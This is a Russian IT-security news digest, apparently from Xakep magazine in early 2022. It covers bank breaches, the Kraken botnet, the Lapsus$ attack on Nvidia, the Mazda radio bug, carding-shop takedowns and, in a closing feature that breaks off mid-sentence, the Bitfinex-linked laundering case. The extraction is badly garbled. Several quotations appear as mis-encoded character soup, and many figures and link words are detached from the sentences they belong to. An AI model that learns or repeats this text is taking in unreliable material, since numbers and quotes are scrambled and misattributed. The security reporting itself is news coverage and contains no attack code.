«Êàê âûÿñ íèëî ñëåäñ òâèå, ñ äåêàá ðÿ 2015 ãîäà ïî àïðåëü 2016 ãîäà

ôèãóðàí òû äåëà ñîç äàëè è ðàñ ïðîñòðà íèëè â èíòåðíå òå âèðóñ,

ñ ïîìîùüþ êîòîðî ãî ïîëó÷è ëè äîñ òóï ê ëîêàëü íûì êîìïü þòåð íûì

ñåòÿì ðÿäà êðóï íûõ áàí êîâ, òóðèñ òè÷åñ êèõ ôèðì, ñòðî èòåëü íûõ è ïðî- 

äîâîëü ñòâåí íûõ êîì ïàíèé, ïîñ ëå ýòî ãî ïîõèòè ëè áîëåå 1,2 ìèë ëèàð äà

ðóá ëåé. Êðî ìå òîãî, îíè ïîëó÷è ëè äîñ òóï ê êîìïü þòåð íîé áàçå äàí íûõ

àýðî ïîð òà Êîëü öîâî â Åêà òåðèí áóðãå», — ñîîá ùàëè ÑÌÈ.

GOOGLE: БУДУЩЕЕ ЗА ПЛАНШЕТАМИ
Весь ма неожи дан ное заяв ление сде лала ком пания Google, которая, как замети ли СМИ, ищет
стар шего инже нера — менед жера по работе с при ложе ниями для план шетов Android и в целом
ста ла уде лять план шетам и склад ным устрой ствам куда боль ше вни мания.

Прес са отме чает, что если Google на самом деле пла ниру ет серь езно работать над план- 
шетами в дол госроч ной пер спек тиве и про исхо дящее не прос то вре мен ный всплеск инте реса,
то ком пании пред сто ит дол гий путь, что бы срав нять ся с сегод няшни ми iPad и iPadOS.

→ «Мы счи таем, что будущее компь ютер ных сис тем сме щает ся в сто рону более
мощ ных и фун кци ональ ных план шетов. Мы работа ем над тем, что бы открыть
новую гла ву в области компь ютер ных сис тем и дан ных, запус тив неп рерыв ную
под дер жку на всех наших плат формах и пре дос тавив [людям] уни каль ные воз- 
можнос ти, которые поз волят исполь зовать новые и луч шие спо собы для про дук- 
тивной и кре атив ной работы»

— из опи сания вакан сии, обна ружен ной СМИ

ПРОБЛЕМЫ 100
Раз работ чики Mozilla пре дуп редили, что у сай тов могут воз никнуть проб лемы
с гря дущи ми вер сиями Firefox 100 и Chrome 100 (вый дут 3 мая и 29 мар- 
та 2022 года). Дело в том, что из-за выхода новых вер сий зна чения user-agent
ста нут трех знач ными.

Стро ка user-agent содер жит такую информа цию, как наз вание бра узе ра,
номер его вер сии и дан ные о тех нологи ях, которые тот исполь зует. Так, ког да
человек посеща ет какой-либо сайт, user-agent бра узе ра отправ ляет ся вмес те
с зап росом веб-стра ницы. Это поз воля ет ресур су про верить вер сию
ПО посети теля и изме нить свой ответ в зависи мос ти от фун кций, под держи- 
ваемых бра узе ром.

К при меру, текущий user-agent Mozilla Firefox вер сии 97 выг лядит так:
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0.
А user-agent для Google Chrome 98 так: Mozilla/5.0 (Windows NT 10.0; Win64;
x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82
Safari/537.36.

Еще в августе 2021 года инже неры Mozilla начали экспе римент, что бы
выяс нить, не вызовет ли трех знач ное зна чение user-agent Firefox/100 проб- 
лем в работе с сай тами. Раз работ чики Google вско ре про вели ана логич ный
экспе римент для Chrome 100. В ито ге обна ружи лось неболь шое количес тво
сай тов, которые работа ли с новыми user-agent некор рек тно.

С тех пор Mozilla отсле жива ет ошиб ки, воз ника ющие при изме нении вер- 
сии на 100, и уже обна ружи ла проб лемы на сай тах HBO Go, Bethesda, Yahoo,
Slack и ресур сах, соз данных с помощью конс трук тора сай тов Duda.
В основном такие баги огра ничи вают ся появ лени ем сооб щений «Бра узер
не под держи вает ся», а так же проб лемами с поль зователь ским интерфей сом,
которые могут зат рагивать раз ные час ти сай тов.

«

»

«Áåç åäè íîé ñïå öèôè êàöèè, êîòîðîé íåîá õîäèìî ñëå äîâàòü, ðàç íûå

áðà óçå ðû èìå þò ðàç íûå ôîð ìàòû äëÿ ñòðî êè user-agent è ïàð ñèíã

user-agent çàâèñèò îò êîí êðåò íîãî ñàé òà. Âîç ìîæíî, íåêîòî ðûå ïàð- 

ñèíãî âûå áèá ëèîòå êè ñîäåð æàò æåñ òêî çàêîäè ðîâàí íûå ïðåä ïîëîæå- 

íèÿ èëè áàãè, êîòîðûå íå ïðè íèìà þò âî âíè ìàíèå òðåõ çíà÷ íûå

íîìåðà âåð ñèé, — îáú ÿñíÿ þò èíæå íåðû Mozilla. — Ìíî ãèå áèá ëèîòå êè

óëó÷ øèëè ðàáîòó ïàð ñèíãà, êîã äà áðà óçå ðû ïåðåø ëè íà äâóç íà÷íûå

íîìåðà âåð ñèé, ïîýòî ìó îæè äàåò ñÿ, ÷òî ïåðåõîä íà òðåõ çíà÷ íûå âåð- 

ñèè âûçîâåò ìåíü øå ïðîá ëåì».

Ес ли проб лемы с сай тами все же воз никнут и будут слиш ком мно гочис ленны- 
ми, а Mozilla или Google не суме ют испра вить это до релиза новых вер сий,
у раз работ чиков име ются запас ные пла ны. В час тнос ти, у Firefox есть
механизм, который поз воля ет «заморо зить» user-agent на зна чении
Firefox/99 или внед рить CSS на проб лемный сайт. Точ но так же Chrome может
«заморо зить» вер сию, отоб ража емую user-agent, на 99 и ука зывать фак тичес- 
кую вер сию бра узе ра в дру гой час ти стро ки.

Mozilla про сит адми нис тра торов сай тов заранее про верить, нор маль но ли
их ресур сы вос при нима ют user-agent Firefox 100 и Chrome 100. Если проб- 
лемы обна ружи вают ся, то отче ты об ошиб ках нуж но при сылать
на webcompat.com, что бы у раз работ чиков было вре мя их испра вить.

В  ВЗЛОМОВ РОССИЙСКИХ БАНКОВ БУДУТ
ЗАМЕШАНЫ ИНСАЙДЕРЫ

50%

Ин терес ным прог нозом подели лись ана лити ки RTM Group с изда нием «Ком мерсант». По их сло- 
вам, в 2022 году инсай деры обес печат  информа цион ных сис тем кре дит- 
ных орга низа ций, тог да как в 2021 году были винова ты менее чем в  про ник новений.

по лови ну взло мов
тре ти

Сог ласно отче ту ком пании, в текущем году количес тво хищений в катего рии внеш них атак (то
есть атак внеш ними зло умыш ленни ками) сни зит ся с  до , одна ко вырас тет чис ло инци- 
ден тов, свя зан ных с дей стви ями сот рудни ков бан ков, — общая доля таких инци ден тов воз- 
растет с  до .

15% 3%

30% 50%

KRAKEN НА
ГОРИЗОНТЕ
Эк спер ты ком пании ZeroFox сооб щили о новом бот нете Kraken, написан ном
на Go. Пока мал варь еще находит ся в раз работ ке, но уже обла дает фун кци- 
ональ ностью бэк дора и может воровать кон фиден циаль ную информа цию
со взло ман ных хос тов под управле нием Windows.

Как показал ана лиз, ран ние вари анты Kraken, впер вые замечен ные
экспер тами в октябре 2021 года, ока зались осно ваны на исходном коде
с GitHub, хотя неяс но, при над лежит ли этот репози торий самим опе рато рам
мал вари, или те прос то решили начать раз работ ку, исполь зуя чужой код
в качес тве осно вы.

По сло вам иссле дова телей, Kraken уже спо собен заг ружать и выпол нять вто- 
рич ные полез ные наг рузки, запус кать шелл-коман ды, воровать дан ные раз- 
личных крип товалют ных кошель ков, а так же делать скрин шоты экра на жер твы.

Вре донос обыч но про ника ет в сис тему и зак репля ется в ней при помощи
мал вари SmokeLoader, которая выпол няет роль заг рузчи ка вре донос ного
ПО сле дующей ста дии, поз воляя бот нету быс тро рас ширять ся.

Сог ласно ZeroFox, мал варь ата кует кошель ки Armory, Atomic Wallet,
Bytecoin, Electrum, Ethereum, Exodus, Guarda, Jaxx Liberty и Zcash, а так же заг- 
ружа ет и выпол няет на машине RedLine Stealer, который исполь зует ся
для сбо ра сох ранен ных учет ных дан ных, дан ных авто запол нения и информа- 
ции о бан ков ских кар тах из бра узе ров жертв.

К тому же бла года ря весь ма удоб ной панели адми нис тра тора зло умыш- 
ленни ки могут заг ружать новые пей лоады, вза имо дей ство вать с опре делен- 
ным количес твом ботов и прос матри вать исто рию команд и информа цию
о жер твах.

Так как Kraken уже стал каналом для раз верты вания дру гих инфости леров
и май неров крип товалю ты, по оцен кам спе циалис тов, он при носит сво им
опе рато рам око ло 3000 дол ларов в месяц.

«

»

«Â íàñ òîÿùåå âðå ìÿ íåèç âåñ òíî, ÷òî îïå ðàòî ðû íàìåðå íû äåëàòü

ñ óêðà äåí íûìè ó÷åò íûìè äàí íûìè è êàêîâà êîíå÷ íàÿ öåëü ýòî ãî áîò- 

íåòà», — çàê ëþ÷à þò èññëå äîâà òåëè.

ПРОДАЖА ФЕЙКОВЫХ NFT
Ана лити ки ком пании Chainalysis изу чили рынок NFT и приш ли к выводу, что в 2021 году 
фик тивных трей деров «зарабо тали» на тор говле нев заимо заме няемы ми токена ми и отмы вании
денег око ло  дол ларов США (иссле дова ние сос редото чено лишь на сдел ках,
совер шенных в Ethereum и Wrapped Ethereum).

110

8,9  мил лиона

Под тер мином «фик тивная тор говля» в ком пании под разуме вают тран закции, в которых про- 
давец находит ся по обе сто роны сдел ки, то есть пыта ется соз дать видимость лик виднос ти
и повышен ной цен ности сво его товара.

Ес ли в 2020 году с NFT и соот ветс тву ющи ми смарт-кон трак тами было свя зано поряд ка
 дол ларов, то 2021 году эта циф ра сос тавила уже  дол ларов.106 мил лионов 44,2 мил лиар да

Эк спер там уда лось выявить  поль зовате ля, которые про дали NFT на самофи нан сиру емые
адре са боль ше  раз, при чем свы ше полови ны из них потеря ли день ги, опла чивая газ.

262
25

 обна ружен ных трей деров-мошен ников «зарабо тали» в общей слож ности око ло  мил- 
лиона дол ларов, тог да как осталь ные мошен ники потеря ли на таких сдел ках  дол лара.
110 8,9

416 984

Так же Chainalysis пишет, что количес тво средств, вве ден ных на тор гующие NFT пло щад ки
с адре сов зло умыш ленни ков, зна читель но воз росло в чет вертом квар тале 2021 года, в общей
слож ности пре высив  дол ларов.1 400 000
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МВД ЗАКРЫВАЕТ
КАРДШОПЫ
В начале фев раля рос сий ские пра воох раните ли заб локиро вали сра зу нес- 
коль ко хакер ских ресур сов, вклю чая кар дер ские пло щад ки Ferum и Trump’s
Dumps, RDP-шоп Uas-Service и форум Sky-Fraud. Все ресур сы были рус ско- 
языч ные и управля лись рус ско языч ными адми нис тра тора ми.

На глав ных стра ницах всех этих сай тов появи лись «заг лушки», информи- 
рующие о том, что «ресурс зак рыт нав сегда в ходе опе рации пра воох- 
ранитель ных орга нов», а в HTML-код было встро ено сооб щение: «Кто из вас
сле дующий?»

По дан ным экспер тов из ком пании Flashpoint, опе рация была орга низо- 
вана Управле нием «К» МВД Рос сий ской Федера ции. Одновре мен но с этим
СМИ сооб щили, что шес терым рос сиянам были предъ явле ны обви нения
в «неп равомер ном обо роте средств пла тежей», а пра воох раните ли пре сек ли
деятель ность уже треть ей хак-груп пы с начала года.

«

»

«Ïî äàí íûì ñëåäñ òâèÿ, îíè [çàäåð æàííûå] îáëà äàþò ñïå öèàëü íûìè

ïîç íàíè ÿìè â ñôå ðå ìåæ äóíàðîä íûõ ïëà òåæ íûõ ñèñ òåì è ïîäîç ðåâà- 

þòñÿ â ñîâåð øåíèè ïðåñ òóïëå íèé â ñôå ðå êîìïü þòåð íîé òåõ íîëîãèè,

òåõ íèêè è èíôîðìà öèîí íî‑êîì ìóíèêà öèîí íîé ñåòè Èíòåðíåò».

По информа ции ана лити чес кой ком пании Elliptic, упо мяну тые сай ты
в совокуп ности «зарабо тали» боль ше 263 мил лионов дол ларов в крип товалю- 
те. Так, один толь ко Ferum, активный с октября 2013 года, при нес свы- 
ше 256 мил лионов дол ларов в бит коинах, которые были получе ны за про дажу
укра ден ных карт (это поч ти 17% от все го рын ка ворован ных карт в целом).

По пуляр ный ресурс Uas-Service, который занимал ся про дажей ском про мети- 
рован ных SSN (social security numbers — номеров соци аль ного стра хова ния)
и дос тупа к RDP-сер верам, работав ший с нояб ря 2017 года, при нес око- 
ло 3 мил лионов дол ларов в крип товалю те, а еще один кар дшоп Trump’s
Dumps — око ло 4,1 мил лиона дол ларов (с октября 2017 года).

Спе циалис ты ком пании Group-IB рас ска зали, что на зак рытых теперь
ресур сах за все вре мя их работы про дава лись дан ные о более чем 113 мил- 
лионах бан ков ских карт, а их общая сто имость пре выша ла 654,9 мил лиона
дол ларов.

2ФА ИСПОЛЬЗУЮТ  КЛИЕНТОВ MICROSOFT22%

Ком пания Microsoft сооб щила, что в прош лом году лишь  всех кли ентов Azure Active
Directory (AD) исполь зовали решения для мно гофак торной аутен тифика ции (МФА) и защиты
сво их учет ных записей.

22%

При этом, сог ласно све жим дан ным, толь ко с янва ря по декабрь 2021 года было заб локиро вано
более  брут форс-атак на Azure AD, а так же перех вачено 
фишин говых писем, адре сован ных поль зовате лям.

25,6  мил лиар да 35,7  мил лиар да

MAZDA ПРОТИВ
РАДИО
С очень стран ным слу чаем раз бира ются инже неры Mazda и руководс тво
ради останции NPR, KUOW, веща ющей в Сиэт ле на час тоте 94,9 FM. Дело
в том, что в авто моби лях Mazda, выпущен ных с 2014 по 2017 годы и нас тро- 
енных на эту мес тную ради останцию, мас сово отка зыва ют информа цион- 
но-раз вле катель ные сис темы.

Из дание Seattle Times сооб щило, что проб лема начала про являть ся в кон- 
це янва ря, ког да мно гие вла дель цы Mazda обна ружи ли, что их информа цион- 
но-раз вле катель ные сис темы выш ли из строя: экра ны гас ли, перес тавали
работать такие фун кции, как Bluetooth, навига ция, часы и ста тис тика авто- 
моби ля, а ради опри емни ки намер тво зас тре вали на час тоте 94,9 FM. Хуже
того, сис тема про дол жала пос тоян но перезаг ружать ся, из-за чего некото рые
автовла дель цы были вынуж дены прик рывать пос тоян но мига ющие экра ны
под ручны ми средс тва ми (нап ример, кар тоном).

Ког да пос тра дав шие начали обра щать ся к мес тным дилерам, там им
сооб щали, что из строя вышел блок CMU (Connectivity Master Unit), управля- 
ющий видео- и ауди осиг налами информа цион но-раз вле катель ной сис темы,
и его необ ходимо заменить. Проб лема усу губ лялась тем, что новый CMU сто- 
ит 1500 дол ларов, к тому же заменить его не так прос то — из-за проб лем
с пос тавка ми деталь при дет ся ждать неиз вес тно сколь ко.

Сто ит отме тить, что в нас тоящее вре мя ком пания Mazda уже разос лала
опо веще ние дилерам и обя зала их бес плат но отре мон тировать пос тра дав- 
шие авто сра зу пос ле при бытия нуж ных зап частей.

Ког да поль зовате ли ста ли делить ся сво ими проб лемами на Reddit, выяс- 
нилось, что все пос тра дав шие были слу шате лями NPR, KUOW. На этот факт
так же обра тили вни мание и сот рудни ки дилер ских цен тров. Одна ко по-преж- 
нему оста валось неяс ным, каким обра зом прос той ради осиг нал мог пов лиять
на ПО авто моби лей Mazda 2014–2017 годов. Недо уме вало даже руководс тво
самой ради останции, сна чала и вов се пред полагав шее, что сбои могут быть
свя заны с перехо дом мобиль ных опе рато ров на 5G: яко бы мно гие авто моби- 
ли по-преж нему осна щены толь ко 3G и поэто му сбо ят.

На самом деле эта проб лема никак не свя зана с 5G. Инже неры ком пании
Mazda сооб щили, что уже раз бира ются в ситу ации и, по их дан ным, кор нем
бага ста ла тех нология HD Radio, при над лежащая Xperi Holding Corporation.
Эта тех нология поз воля ет переда вать с помощью радио, нап ример, обложки
аль бомов, логоти пы и дру гие изоб ражения. Дело в том, что ради останции
тран сли рова ла через HD Radio фай лы изоб ражений, не имев шие рас- 
ширений, а инфо тей нмент-сис темы авто моби лей перечис ленных лет обя- 
затель но дол жны «знать» рас ширение фай ла. В про тив ном слу чае попыт ка
обра ботать такой файл без рас ширения может отпра вить их в бес конеч ную
перезаг рузку.

В нас тоящее вре мя спе циалис ты Xperi работа ют над решени ем проб лемы
и обе щают испра вить все «в крат чай шие сро ки».

ЦИФРОВЫЕ ИГРЫ ЗАМЕНЯЮТ ДИСКИ
Си туация на рын ке игро вых кон солей быс тро меня ется: фокус сме щает ся от игр, про дава емых
на физичес ких носите лях, в сто рону циф ровых вер сий, к которым уже дав но при вык ли боль- 
шинс тво поль зовате лей ПК.

Сог ласно ста тис тике, соб ранной NPD Game Pulse, в США количес тво отдель ных игр, выпущен- 
ных на физичес ких носите лях (дис ках или кар трид жах), сок ратилось с  в 2018 году до 
в 2021 году, то есть поч ти на .

321 226
30%

В целом доля новых кон соль ных игр, дос тупных исклю читель но в виде циф ровых вер сий, уве- 
личи лась с  в 2018 году до поч ти  в 2021 году.75% 90%

NVIDIA ВЗЛОМАЛИ
В кон це фев раля хак-груп па Lapsus$ взя ла на себя ответс твен ность за ата ку
на ком панию Nvidia. Зло умыш ленни ки заяв ляли, что похити ли боль ше 1 Тбайт
дан ных из сети Nvidia, а так же сли ли в сеть дан ные, яко бы содер жащие хеши
паролей всех сот рудни ков ком пании (про верить под линность этих дан ных
никому пока не уда лось).

Тог да как в Nvidia под твер дили факт ата ки и сооб щили, что рас сле дуют
про изо шед шее, хакеры пыта ются про дать похищен ные у ком пании дан ные,
в том чис ле тех нологию для раз бло киров ки май нин гового потен циала виде- 
окарт, ранее .уре зан ного про изво дите лем

При этом, по дан ным СМИ, ком пания Nvidia не прос то обна ружи ла ата ку
хакеров, но в ответ ском про мети рова ла сер вер зло умыш ленни ков, стер ла
некото рые фай лы и зашиф ровала все оставши еся дан ные на дис ках. Хакеры
говорят, что это не так, яко бы Nvidia уда лось зашиф ровать толь ко одну
из вир туаль ных машин хак-груп пы, а все дан ные сох ранились.

В ито ге учас тни ки Lapsus$ опуб ликова ли пред ложение для покупа телей
и утвер жда ют, что в их рас поряже нии ока зал ся кас томизи руемый драй вер,
спо соб ный раз бло киро вать огра ничи тель хеш рей та на виде окар тах серии
RTX 3000.

«

»

«Åñëè êòî‑òî êóïèò LHR (Lite Hash Rate), ìû ïðå äîñ òàâèì ñïî ñîáû

[èçìå íÿòü] LHR áåç ïðî øèâ êè, — ïèøóò õàêåðû. — Áåç ïðî øèâ êè =

áîëü øèå äåíü ãè äëÿ ëþáîãî ðàç ðàáîò ÷èêà ìàé íåðîâ».

Так же груп пиров ка опуб ликова ла архив объ емом 19 Гбайт, яко бы содер- 
жащий исходный код драй веров для GPU Nvidia. Утвер жда ется, что в архи ве
дос таточ но информа ции, что бы тех ничес ки под кован ные поль зовате ли уже
сей час смог ли обой ти огра ничи тель Lite Hash Rate. «Любой раз работ чик
с моз гами суме ет ском пилиро вать то, что мы вам дали», — говорят в Lapsus$.

Сто ит отме тить, что сна чала груп па вооб ще пот ребова ла, что бы Nvidia
сня ла огра ниче ние LHR со всех виде окарт RTX 3000, обно вив ПО для поль- 
зовате лей. Учас тни ки Lapsus$ угро жали, если ком пания отка жет ся это сде- 
лать, обна родо вать дамп, содер жащий информа цию о железе ком пании.
Теперь, судя по все му, хакеры наде ются про дать эти дан ные.

ДРУГИЕ ИНТЕРЕСНЫЕ СОБЫТИЯ МЕСЯЦА
Уяз вимость прев ращала прин теры Xerox в «кир пичи»

Сбер банк про вел уче ния, ими тируя отказ от про дук тов Microsoft, Nvidia, VMware, SAP

Не мец кие неф тяные ком пании Oiltanking и Mabanaft пос тра дали от кибера так

За вер шился бета-тест 64-бит ной Raspberry Pi OS

Крип товалют ная плат форма Wormhole взло мана, хакеры укра ли боль ше 320 мил лионов дол- 
ларов

Ра ди борь бы с мал варью Microsoft бло киру ет мак росы в при ложе ниях Ofce и исполь зование
MSIX

Ис сле дова тель показал, как извле кать текст из пик селизи рован ных изоб ражений

Фран цуз слу чай но оста вил без интерне та целый город, пыта ясь отклю чить интернет сво им
детям

Вре донос ные пись ма могут вывес ти Cisco Email Security Appliance из строя

Toyota зак рыла про изводс тво в Япо нии пос ле взло ма одно го из пос тавщи ков

https://xakep.ru/2021/05/19/nvidia-vs-miners/
https://xakep.ru/2022/01/31/xerox-dos/
https://xakep.ru/2022/02/01/sber-sanctions/
https://xakep.ru/2022/02/02/oiltanking-mabanaft-hack/
https://xakep.ru/2022/02/03/pi-os-64-bit/
https://xakep.ru/2022/02/03/wormhole-hack/
https://xakep.ru/2022/02/09/no-more-vba-and-msix/
https://xakep.ru/2022/02/16/unredacter/
https://xakep.ru/2022/02/18/jammer-fail/
https://xakep.ru/2022/02/18/esa-dos/
https://xakep.ru/2022/03/01/toyota-supplier-hacked/
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3,6 мил лиар да дол ларов США! Слож но даже пред ста вить
себе такое количес тво денег, но имен но столь ко недав но
кон фиско вали у суп ружес кой пары, арес тован ной
в Нью-Йор ке. Теперь их обви няют в отмы вании средств,
в 2016 году похищен ных у крип товалют ной бир жи Bitnex.
Ока залось, что все эти годы подоз рева емые вов се
не пытались скрыть ся, а вели активную сетевую жизнь, рас- 
ска зывая под писчи кам в TikTok, как в 23 года открыть собс-
твен ный биз нес «без внеш них инвести ций».

ÂÇËÎÌ BITFINEX

Для начала сто ит вер нуть ся назад и вспом нить об  на крип товалют ную
бир жу Bitnex. Инци дент, который до сих пор счи тает ся одним из круп ней ших
ограбле ний в исто рии, про изо шел летом 2016 года: 2 августа адми нис тра ция
ресур са обна ружи ла серь езную брешь в сис теме безопас ности, вынудив шую
бир жу вре мен но заморо зить любую активность.

ата ке

Ока залось, что в резуль тате ата ки неиз вес тных зло умыш ленни ков ресурс
лишил ся 119 756 бит коинов. По кур су на момент инци ден та потери сос тавили
при мер но 70 мил лионов дол ларов США, так как в то вре мя бит коин сто ил
око ло 600 дол ларов США.

Хо тя тог да раз работ чики пред лагали щед рое воз награж дение за любую
информа цию, которая поможет вер нуть похищен ное, — 5% от сум мы укра- 
ден ных средств — из это го ничего не выш ло. Офи циаль ного отве та о том,
как все же про изо шел взлом, так и не появи лось. Хотя в то вре мя экспер ты
в основном  кошелек с муль типод писью, который Bitnex соз дала сов- 
мес тно с ком пани ей BitGo. Но пред ста вите ли BitGo всег да катего ричес ки
отри цали какую-либо ком про мета цию с их сто роны.

изу чали

Как бы то ни было, даже пос ле столь резонан сно го взло ма Bitnex уда лось
остать ся на пла ву, воз местить ущерб пос тра дав шим поль зовате лям (со сче- 
тов кли ентов спи сали 36,067% акти вов, вмес то которых поль зовате лям
выдали токены BFX, которые впос ледс твии мож но было исполь зовать
для воз мещения убыт ков) и про дол жить работу. Судь ба укра ден ных средств
меж ду тем оста валась неиз вес тной.

ÀÐÅÑÒ ÑÓÏÐÓÃÎÂ ÈÇ ÍÜÞ-ÉÎÐÊÀ

В начале фев раля 2022 года, спус тя пять с полови ной лет пос ле взло ма
Bitnex, Минис терс тво юсти ции США неожи дан но  о круп ней шей
кон фиска ции средств в исто рии: было изъ ято более 94 тысяч бит коинов, то
есть око ло 3,6 мил лиар да дол ларов США.

со общи ло

Учи тывая астро номи чес кую сум му, мож но было подумать, что пра воох- 
раните ли лик видиро вали круп ную прес тупную груп пу или зак рыли нес коль ко
дар кнет-ресур сов, но все ока залось куда про заич нее: по обви нени ям, свя- 
зан ным с отмы вани ем денег, была арес тована молодая суп ружес кая пара
из Нью-Йор ка. Сог ласно судеб ным докумен там, 34-лет ний граж данин Рос сии
и США Илья Лих тен штейн (Ilya Lichtenstein) и его жена, 31-лет няя граж данка
США Хизер Мор ган (Heather Morgan), ока зались свя заны со взло мом Bitnex.

Лих тен штейн и Мор ган

Нуж но под чер кнуть, что это в 2016 году ущерб от ата ки оце нивал ся в при мер- 
но в 70 мил лионов дол ларов США, но с тех пор курс бит коина зна читель но
изме нил ся, и по кур су на момент кон фиска ции укра ден ная мно го лет назад
крип товалю та сто ила уже мил лиар ды. Нап ример, по сос тоянию на 17 фев- 
раля 2022 года 119 756 бит коинов — это более 5,2 мил лиар да дол ларов
США.

Ми нис терс тво юсти ции заяви ло, что получи ло раз решение на кон фиска- 
цию средств пос ле того, как ФБР про вело обыск, свя зан ный с одной из учет- 
ных записей Лих тен штей на в облачном хра нили ще. Там был обна ружен файл,
содер жащий крип товалют ные адре са и соот ветс тву ющие им при ват ные клю- 
чи, которые пре дос тавля ли дос туп к крип товалю те. Влас ти сооб щили, что
поч ти все эти адре са были «нап рямую свя заны со взло мом Bitnex».

Скрин шот из облачно го хра нили ща Лих тен штей на со спис ком кошель ков

Так же пра воох ранитель ные орга ны кон фиско вали у пары десят ки одно разо- 
вых телефо нов, более 40 тысяч дол ларов США и инос тран ной валюты, аппа- 
рат ные крип товалют ные кошель ки и кни ги с вырезан ными в них тай никами
для хра нения USB-фле шек.

Па кет из-под телефо на с над писью «одно разо вый»

Те лефо ны и аппа рат ные кошель ки

В судеб ных докумен тах ска зано, что во вре мя обыс ка в доме Мор ган поп- 
росила у федераль ных аген тов раз решения заб рать кош ку из-под кро вати,
а сама под этим пред логом попыта лась заб локиро вать лежав ший на тум- 
бочке телефон, что бы сле дова тели не смог ли доб рать ся до его содер жимого.

Кни ги с тай никами

По мимо перечис ленно го, у влас тей есть мно жес тво доказа тель ств того, что
пара посеща ла Укра ину в 2019 году, что бы получить фаль шивые докумен ты,
под дель ные пас порта и «открыть финан совые сче та в Рос сии и Укра ине и,
по-видимо му, соз давая план на слу чай неп редви ден ных обсто ятель ств
для жиз ни в Укра ине и/или Рос сии (до пан демии COVID-19)». Суп руги хра нили
фаль шивые докумен ты на зашиф рован ных дис ках, изъ ятых во вре мя обыс ков,
а так же иска ли информа цию о том, как получить фаль шивые докумен ты в дар- 
кне те.

Ис тория поис ков

Сей час адво каты пары упи рают на то, что Мор ган и Лих тен штейн оста лись
в стра не даже пос ле того, как узна ли, что в их отно шении ведет ся рас сле- 
дова ние, и вооб ще рань ше заморо зили эмбри оны и пла ниру ют соз дать
семью, не собира ясь покидать Соеди нен ные Шта ты.

ÎÒÌÛÂÀÍÈÅ ÄÅÍÅÃ

По дан ным влас тей, Илья Лих тен штейн играл клю чевую роль в отмы вании
укра ден ных у бир жи средств, а крип товалю та пос ле взло ма была переве дена
на дру гие адре са пос редс твом более чем 2000 тран закций. Вес-
ной 2021 года ту же информа цию  ана лити ки из Whale Alert
и BTCparsers, отме чая, что при шед шие в дви жение средс тва сос тавля ют лишь
око ло 10% от укра ден ной сум мы.

со обща ли

Не кото рые тран закции

По дан ным иссле дова телей, до это го момен та средс тва и не обна личи- 
вались, и не кон верти рова лись (во вся ком слу чае в боль ших объ емах), так
как пос ле взло ма Bitnex дру гие бир жи занес ли в чер ный спи сок адре са зло- 
умыш ленни ков, не поз воляя им про водить опе рации с укра ден ными бит- 
коина ми.

Те перь же аме рикан ские влас ти говорят, что за пос ледние пять лет око- 
ло 25 тысяч укра ден ных бит коинов все же были отмы ты Лих тен штей ном
и Мор ган с помощью мно гог ранной схе мы, которая вклю чала:

ис поль зование фик тивных лич ностей для соз дания акка унтов;•
ис поль зование ПО для авто мати зации тран закций;•
вне сение укра ден ных средств на сче та раз личных бирж и рын ков дар кне та
(AlphaBay) и их пос леду ющее сня тие, что бы запутать сле ды;

•

по куп ку подароч ных карт Uber, Hotels.com, PlayStation и Walmart, которые
пара исполь зовала для обна личи вания;

•

кон верта цию бит коинов в дру гие крип товалю ты с повышен ной ано ним- 
ностью (Monero, Dash);

•

ис поль зование биз нес-сче тов в США для уза кони вания деятель нос ти.•

Схе мы отмы вания бит коинов, сог ласно судеб ным докумен там. VCE —
Virtual Currency Exchange, то есть «Вир туаль ный крип товалют ный
обменник»

В , озаг лавлен ном «Изло жение обсто ятель ств дела», пра- 
воох раните ли и экспер ты из Налого вого управле ния США под робно рас ска- 
зыва ют обо всех обна ружен ных схе мах отмы вания средств. Так, боль шинс тво
бит коинов были переме щены с адре сов Bitnex в кошелек, обоз начен ный
в докумен тах как 1CGa4s, пред положи тель но кон тро лиру емый Лих тен штей- 
ном.

объ емном фай ле

В ито ге сле дова тели смог ли най ти клю чи от это го кошель ка — они обна- 
ружи лись в одном из облачных хра нилищ Лих тен штей на, наряду с учет ными
дан ными от мно гочис ленных акка унтов на крип товалют ных бир жах, которые
он исполь зовал. Одна ко, что бы доб рать ся до этой точ ки, най ти эту облачную
учет ную запись и иден тифици ровать Лих тен штей на и его жену, экспер там
сна чала приш лось отсле дить два запутан ных пути, которы ми прош ли 25 тысяч
бит коинов, переме щен ные из кошель ка 1CGa4s. Часть этих средств отпра- 
вилась на раз ные кошель ки, свя зан ные с ныне зак рытым дар кнет-мар кет- 
плей сом AlphaBay, а дру гая часть, по-видимо му, была кон верти рова на
в Monero.

При этом в налого вой служ бе объ ясня ют, что выш ли на Лих тен штей на
и Мор ган, отсле див эти средс тва до обширно го набора акка унтов на крип- 
товалют ных бир жах, откры тых на их нас тоящие име на и под твержден ных
реаль ными удос товере ниями лич ности подоз рева емых, а так же до трех при- 
над лежащих им ком паний: Demandpath, Endpass и Salesfolk, которые тоже
были задей ство ваны в отмы вании денег. Инте рес но, что эти ком пании лишь
часть более широкой сети фирм, осно ван ных суп ругами за годы сов мес тной
жиз ни, но о работе мно гих из них пока ничего нель зя ска зать навер няка.

На YouTube-канале мар кетин говой фир мы Salesfolk Мор ган учи ла дру гих
пред при нима телей тому, как рас сылать холод ные email’ы и стать
«рок-звез дой уда лен ки»

По ка экспер ты не рас кры вают, как имен но им уда лось вый ти на след прес- 
тупни ков, но на этот счет есть нес коль ко теорий. Похоже, Лих тен штейн
и Мор ган намере вались исполь зовать AlphaBay в качес тве мик сер-сер виса,
что бы запутать сле ды укра ден ных денег, ведь в апре ле 2016 года адми нис- 
тра ция AlphaBay объ яви ла, что пред лага ет эту фун кцию всем сво им поль- 
зовате лям по умол чанию. Одна ко в 2017 году теневой ресурс 

, а один из его адми нов и вов се покон чил с собой
в тюрем ной камере.

зак рыли пра- 
воох ранитель ные орга ны

Тог да в руки влас тей переш ли , и, похоже, имен но
информа ция с этих машин поз волила следс твию вый ти на след похищен ных
у Bitnex бит коинов. Судя по все му, про шед шие через AlphaBay средс тва
в ито ге были отсле жены до кон крет ного набора учет ных записей на легитим- 
ных крип товалют ных бир жах, мно гие из которых при над лежали Лих тен штей ну
и Мор ган, а не под став ным лич ностям.

сер веры ресур са

Вто рую схе му отмы вания средств в докумен тах опи сыва ют лишь в общих
чер тах, отме чая, что она вклю чала в себя мно жес тво chain-hopping (англ.
